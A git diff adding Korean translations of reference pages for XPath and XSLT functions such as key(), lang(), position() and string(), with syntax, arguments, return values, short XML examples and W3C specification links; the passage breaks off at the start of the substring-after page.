+<p>{{ XsltRef() }} 다음은 설명, 문법, 인수 목록, 결과형, 해당 W3C 권고안 소스, 현 <a href="ko/Gecko">Gecko</a> 지원 정도를 포함하는 기본 <a href="ko/XPath">XPath</a> 함수와 XPath에 더해진 <a href="ko/XSLT">XSLT</a> 고유의 추가분에 주석을 단 목록입니다. XPath/XSLT 함수 사용에 관한 추가 정보는, <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading">For Further Reading</a> 페이지를 봐 주세요.</p>
+<ul>
+ <li><a href="Functions/boolean">boolean()</a></li>
+ <li><a href="Functions/ceiling">ceiling()</a></li>
+ <li><a href="Functions/concat">concat()</a></li>
+ <li><a href="Functions/contains">contains()</a></li>
+ <li><a href="Functions/count">count()</a></li>
+ <li><a href="Functions/current">current()</a>
+  <i>
+   XSLT 고유</i>
+ </li>
+ <li><a href="ko/Functions/document">document()</a>
+  <i>
+   XSLT 고유</i>
+ </li>
+ <li><a href="Functions/element-available">element-available()</a></li>
+ <li><a href="Functions/false">false()</a></li>
+ <li><a href="Functions/floor">floor()</a></li>
+ <li><a href="Functions/format-number">format-number()</a>
+  <i>
+   XSLT 고유</i>
+ </li>
+ <li><a href="Functions/function-available">function-available()</a></li>
+ <li><a href="Functions/generate-id">generate-id()</a>
+  <i>
+   XSLT 고유</i>
+ </li>
+ <li><a href="Functions/id">id()</a>
+  <i>
+   (부분 지원함)</i>
+ </li>
+ <li><a href="Functions/key">key()</a>
+  <i>
+   XSLT 고유</i>
+ </li>
+ <li><a href="Functions/lang">lang()</a></li>
+ <li><a href="Functions/last">last()</a></li>
+ <li><a href="Functions/local-name">local-name()</a></li>
+ <li><a href="Functions/name">name()</a></li>
+ <li><a href="Functions/namespace-uri">namespace-uri()</a></li>
+ <li><a href="Functions/normalize-space">normalize-space()</a></li>
+ <li><a href="Functions/not">not()</a></li>
+ <li><a href="Functions/number">number()</a></li>
+ <li><a href="Functions/position">position()</a></li>
+ <li><a href="Functions/round">round()</a></li>
+ <li><a href="Functions/starts-with">starts-with()</a></li>
+ <li><a href="Functions/string">string()</a></li>
+ <li><a href="Functions/string-length">string-length()</a></li>
+ <li><a href="Functions/substring">substring()</a></li>
+ <li><a href="Functions/substring-after">substring-after()</a></li>
+ <li><a href="Functions/substring-before">substring-before()</a></li>
+ <li><a href="Functions/sum">sum()</a></li>
+ <li><a href="Functions/system-property">system-property()</a>
+  <i>
+   XSLT 고유</i>
+ </li>
+ <li><a href="Functions/translate">translate()</a></li>
+ <li><a href="Functions/true">true()</a></li>
+ <li><a href="Functions/unparsed-entity-url">unparsed-entity-url()</a>
+  <i>
+   XSLT 고유</i>
+  <i>
+   (지원 안 함)</i>
+ </li>
+</ul>
diff --git a/files/ko/web/xpath/functions/key/index.html b/files/ko/web/xpath/functions/key/index.html
new file mode 100644
index 0000000000..6441db02de
--- /dev/null
+++ b/files/ko/web/xpath/functions/key/index.html
@@ -0,0 +1,43 @@
+---
+title: key
+slug: Web/XPath/Functions/key
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/key
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>key</code> 함수는 인수로 준 키와 값을 갖는 노드 집합을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">key(<i>keyname</i> ,<i>value</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   keyname</i>
+  </code></dt>
+ <dd>
+  사용할 <code><a href="ko/XSLT/key"> xsl:key</a></code> 요소의 이름을 포함하는 문자열</dd>
+</dl>
+<dl>
+ <dt>
+  <code>
+  <i>
+   value</i>
+  </code></dt>
+ <dd>
+  반환되는 노드 집합은 제공한 키와 이 값을 갖는 각 노드를 포함합니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>노드 집합.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li><code><a href="ko/XSLT/key">xsl:key</a></code> 요소는 키와 일치하는데 쓰는 제공한 요소의 속성을 정의합니다.</li>
+</ul>
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-key">XSLT 1.0 12.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/lang/index.html b/files/ko/web/xpath/functions/lang/index.html
new file mode 100644
index 0000000000..cc4c9c13b6
--- /dev/null
+++ b/files/ko/web/xpath/functions/lang/index.html
@@ -0,0 +1,55 @@
+---
+title: lang
+slug: Web/XPath/Functions/lang
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/lang
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>lang</code> 함수는 문맥 노드가 인수로 준 언어와 일치하는 지를 결정하고 true나 false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">lang(<i>string</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   string</i>
+  </code></dt>
+ <dd>
+  일치 여부에 사용하는 언어 코드나 지역화 (언어와 나라) 코드.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문맥 노드가 인수로 준 언어와 일치하면 <code>true</code>. 그렇지 않으면, <code>false</code>.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>노드의 언어는 노드의 <code>xml:lang</code> 속성으로 결정됩니다. 만약 현재 노드에 <code>xml:lang</code> 속성이 없으면, <code>xml:lang</code> 속성이 있는 가장 가까운 조상(ancestor) 노드의 <code>xml:lang</code> 속성값을 현재 노드의 언어로 결정합니다. 만약 언어가 결정될 수 없으면 (<code>xml:lang</code> 속성이 있는 조상이 없는 경우), 이 함수는 false를 반환합니다.</li>
+</ul>
+<ul>
+ <li>If 인수로 준 <code>
+  <i>
+   string</i>
+  </code>이 나라 코드를 지정하지 않으면, 이 함수는 아무 나라 코드를 갖는 그 언어의 노드와 일치합니다. 반대는 true가 아닙니다.</li>
+</ul>
+<p>이 XML 코드 조각을 주고</p>
+<pre>&lt;p xml:lang="en"&gt;I went up a floor.&lt;/p&gt;
+&lt;p xml:lang="en-GB"&gt;I took the lift.&lt;/p&gt;
+&lt;p xsl:lang="en-US"&gt;I rode the elevator.&lt;/p&gt;</pre>
+<p>XSL 템플릿이 이렇다면</p>
+<pre class="eval">&lt;xsl:value-of select="count(//p[lang('en')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('en-GB')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('en-US')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('de')])" /&gt;
+</pre>
+<p>출력은 다음과 같을 지도 모릅니다.</p>
+<pre class="eval">3
+1
+1
+0
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-lang">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/last/index.html b/files/ko/web/xpath/functions/last/index.html
new file mode 100644
index 0000000000..57cfd73c74
--- /dev/null
+++ b/files/ko/web/xpath/functions/last/index.html
@@ -0,0 +1,23 @@
+---
+title: last
+slug: Web/XPath/Functions/last
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/last
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>last</code> 함수는 식 평가 문맥(expression evaluation context)과 크기가 같은 숫자를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">last()
+</pre>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>식 평가 문맥과 크기가 같은 정수.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>이 함수는 특정 노드가 노드 집합의 마지막 노드인지를 결정하기 위해 <a href="ko/XPath/Functions/position"> position()</a> 함수와 함께 자주 씁니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-last">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/local-name/index.html b/files/ko/web/xpath/functions/local-name/index.html
new file mode 100644
index 0000000000..da77a5ea88
--- /dev/null
+++ b/files/ko/web/xpath/functions/local-name/index.html
@@ -0,0 +1,33 @@
+---
+title: local-name
+slug: Web/XPath/Functions/local-name
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/local-name
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>local-name</code> 함수는 인수로 준 노드 집합 안 첫 노드의 지역 이름을 나타내는 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">local-name( [<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   node-set</i>
+  </code> (선택사항)</dt>
+ <dd>
+  이 노드 집합 안 첫 노드의 지역 이름이 반환됩니다. 이 인수를 빼면, 현재 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>지역 이름은 <a class="external" href="http://www.w3.org/TR/xpath#dt-expanded-name">expanded-name</a>의 지역 부분입니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-local-name">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/name/index.html b/files/ko/web/xpath/functions/name/index.html
new file mode 100644
index 0000000000..b9f526a0f1
--- /dev/null
+++ b/files/ko/web/xpath/functions/name/index.html
@@ -0,0 +1,33 @@
+---
+title: name
+slug: Web/XPath/Functions/name
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/name
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>name</code> 함수는 인수로 준 노드 집합 안 첫 노드의 QName을 나타내는 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">name( [<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   node-set</i>
+  </code> (선택사항)</dt>
+ <dd>
+  이 노드 집합 안 첫 노드의 QName이 반환됩니다. 이 인수를 빼면, 현재 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>노드의 QName을 나타내는 문자열</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-xml-names/#NT-QName">QName</a>은 이름공간 접두사와 지역 이름을 포함하는 노드의 한정된(qualified) 이름입니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-local-name">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/namespace-uri/index.html b/files/ko/web/xpath/functions/namespace-uri/index.html
new file mode 100644
index 0000000000..1e73667e3a
--- /dev/null
+++ b/files/ko/web/xpath/functions/namespace-uri/index.html
@@ -0,0 +1,36 @@
+---
+title: namespace-uri
+slug: Web/XPath/Functions/namespace-uri
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/namespace-uri
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>namespace-uri</code> 함수는 인수로 준 노드 집합 안 첫 노드의 이름공간 URI를 나타내는 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">namespace-uri( [<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   node-set</i>
+  </code> (선택사항)</dt>
+ <dd>
+  이 노드 집합 안 첫 노드의 이름공간 URI가 반환됩니다. 이 인수를 빼면, 현재 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>제공한 노드가 있는 이름공간 URI를 나타내는 문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>만약 제공한 노드가 지정된 이름공간이 없으면, 반환되는 문자열은 빈 문자열입니다.</li>
+</ul>
+<ul>
+ <li>요소와 속성 노드 말고 다른 노드는, 반환되는 문자열이 항상 빈 문자열입니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-local-name">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/normalize-space/index.html b/files/ko/web/xpath/functions/normalize-space/index.html
new file mode 100644
index 0000000000..5bf0eec9d2
--- /dev/null
+++ b/files/ko/web/xpath/functions/normalize-space/index.html
@@ -0,0 +1,29 @@
+---
+title: normalize-space
+slug: Web/XPath/Functions/normalize-space
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/normalize-space
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>normalize-space</code> 함수는 문자열에서 앞뒤 공백을 빼고(strip) 결과 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">normalize-space(<i>string</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   string</i>
+  </code></dt>
+ <dd>
+  nomalize되는 문자열</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>nomalize된 문자열.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-normalize-space">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/not/index.html b/files/ko/web/xpath/functions/not/index.html
new file mode 100644
index 0000000000..f99f0d46c1
--- /dev/null
+++ b/files/ko/web/xpath/functions/not/index.html
@@ -0,0 +1,33 @@
+---
+title: not
+slug: Web/XPath/Functions/not
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/not
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>not</code> 함수는 불린식을 평가하고 반대값을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">not(<i>expression</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   expression</i>
+  </code> (선택사항)</dt>
+ <dd>
+  식은 마치 <a href="ko/XPath/Functions/boolean"> boolean()</a> 함수에 인수로 넘겨진 것처럼 정확히 평가됩니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>false로 평가한 식은 true; true로 평가한 식은 false.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>이 함수는 반대값을 반환하는 것을 빼고는 <a href="ko/XPath/Functions/boolean"> boolean()</a> 함수와 비슷하게 동작합니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-not">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/number/index.html b/files/ko/web/xpath/functions/number/index.html
new file mode 100644
index 0000000000..73e9e10d35
--- /dev/null
+++ b/files/ko/web/xpath/functions/number/index.html
@@ -0,0 +1,35 @@
+---
+title: number
+slug: Web/XPath/Functions/number
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/number
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>number</code> 함수는 개체를 숫자로 변환하고 그 숫자를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">number( [<i>object</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>object</code></i>
+  (optional)</dt>
+ <dd>
+  숫자로 변환할 개체.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>개체를 변환한 뒤 결과 숫자.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>문자열은 숫자 앞 문자열의 앞 공백 문자를 떼고(strip) 숫자 뒤의 것을 무시하여 숫자로 변환됩니다. 문자열이 패턴과 일치하지 않으면, 그 문자열은 NaN으로 변환됩니다.</li>
+ <li>Boolean true는 1로 false는 0으로 변환됩니다.</li>
+ <li>노드 집합은 먼저 as if by a call to the string function 문자열로 변환되고 나서 같은 식으로 문자열 인수로 변환됩니다.</li>
+ <li>네 가지 기본 타입 말고 다른 타입의 개체는 그 타입에 의존하는 방법으로 숫자로 변환됩니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-number">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/position/index.html b/files/ko/web/xpath/functions/position/index.html
new file mode 100644
index 0000000000..3804cd8dfc
--- /dev/null
+++ b/files/ko/web/xpath/functions/position/index.html
@@ -0,0 +1,34 @@
+---
+title: position
+slug: Web/XPath/Functions/position
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/position
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>position</code> 함수는 식 평가 문맥(expression evaluation context)와 위치가 같은 숫자를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">position()
+</pre>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>식 평가 문맥과 위치가 같은 정수.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>문맥 안 노드의 위치는 0 기반이 아님을 주의하세요. 첫 노드는 위치가 1입니다.</li>
+</ul>
+<ul>
+ <li>문맥은 경로의 나머지로 결정됩니다.</li>
+</ul>
+<pre class="eval">&lt;xsl:template match="//a[position() = 5"&gt;
+ &lt;!-- 이 템플릿은 문서 안 다섯 번째 a 요소와 일치합니다. --&gt;
+&lt;/xsl:template&gt;
+</pre>
+<pre class="eval">&lt;xsl:template match="//div[@class='foo']/bar[position() = 1]"&gt;
+ &lt;!-- 이 템플릿은 class 속성이 "foo"이고 div 요소의 자식인 첫 번째 bar 요소와 일치합니다 --&gt;
+&lt;/xsl:template&gt;
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-position">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/round/index.html b/files/ko/web/xpath/functions/round/index.html
new file mode 100644
index 0000000000..9bf8259881
--- /dev/null
+++ b/files/ko/web/xpath/functions/round/index.html
@@ -0,0 +1,35 @@
+---
+title: round
+slug: Web/XPath/Functions/round
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/round
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>round</code> 함수는 인수로 준 수에 가장 가까운 정수를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">round(<i>decimal</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>decimal</code></i>
+ </dt>
+ <dd>
+  정수 처리(round)될 10진수.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>인수
+ <i>
+  <code>decimal</code></i>
+ 보다 작거나 크거나 같은 가장 가까운 정수.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>-0.5는 음수 0으로 0.4는 양수 0으로 정수 처리됩니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-round">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/starts-with/index.html b/files/ko/web/xpath/functions/starts-with/index.html
new file mode 100644
index 0000000000..ae553da10a
--- /dev/null
+++ b/files/ko/web/xpath/functions/starts-with/index.html
@@ -0,0 +1,42 @@
+---
+title: starts-with
+slug: Web/XPath/Functions/starts-with
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/starts-with
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>starts-with</code> 함수는 첫 번째 문자열이 두 번째 문자열로 시작하는 지를 확인한 뒤 true나 false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">starts-with(<i>haystack</i> ,<i>needle</i>)
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>haystack</code></i>
+ </dt>
+ <dd>
+  들여다볼(look in) 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>needle</code></i>
+ </dt>
+ <dd>
+  찾을(look for) 문자열.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>만약
+ <i>
+  <code>haystack</code></i>
+ 이
+ <i>
+  <code>needle</code></i>
+ 로 시작하면 <code>true</code>. 그렇지 않으면, <code>false</code>.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-starts-with">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/string-length/index.html b/files/ko/web/xpath/functions/string-length/index.html
new file mode 100644
index 0000000000..e62774f000
--- /dev/null
+++ b/files/ko/web/xpath/functions/string-length/index.html
@@ -0,0 +1,28 @@
+---
+title: string-length
+slug: Web/XPath/Functions/string-length
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/string-length
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>string-length</code> 함수는 인수로 준 문자열의 문자수를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">string-length( [<i>string</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>string</code></i>
+  (선택사항)</dt>
+ <dd>
+  평가할 문자열. 빼면, 쓰는 문자열은 문자열로 변환된 문맥 노드와 같습니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열의 문자수와 같은 정수.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-string-length">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/string/index.html b/files/ko/web/xpath/functions/string/index.html
new file mode 100644
index 0000000000..25c9879bdd
--- /dev/null
+++ b/files/ko/web/xpath/functions/string/index.html
@@ -0,0 +1,42 @@
+---
+title: string
+slug: Web/XPath/Functions/string
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/string
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>string</code> 함수는 인수를 문자열로 변환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">string( [<i>object</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>object</code></i>
+  (선택사항)</dt>
+ <dd>
+  문자열로 변환할 개체. 빼면, 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>만약 개체가 노드 집합이면, 집합의 첫 노드의 문자열값을 반환됩니다.</li>
+ <li>숫자는 다음으로 반환됩니다.
+  <ul>
+   <li>NaN은 문자열 NaN으로 변환됩니다.</li>
+   <li>양수 0은 문자열 0으로 변환됩니다.</li>
+   <li>음수 0은 문자열 0으로 변환됩니다.</li>
+   <li>양의 무한대(infinity)는 문자열 Infinity로 변환됩니다.</li>
+   <li>음의 무한대는 문자열 -Infinity로 변환됩니다.</li>
+   <li>-1과 1 사이의 10진수는 소수점 앞에 0이 하나 있는 문자열로 변환됩니다.</li>
+  </ul>
+ </li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-string">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/substring-after/index.html b/files/ko/web/xpath/functions/substring-after/index.html
new file mode 100644
index 0000000000..513a777014
--- /dev/null
+++ b/files/ko/web/xpath/functions/substring-after/index.html
@@ -0,0 +1,49 @@
+---
+title: substring-after
+slug: Web/XPath/Functions/substring-after
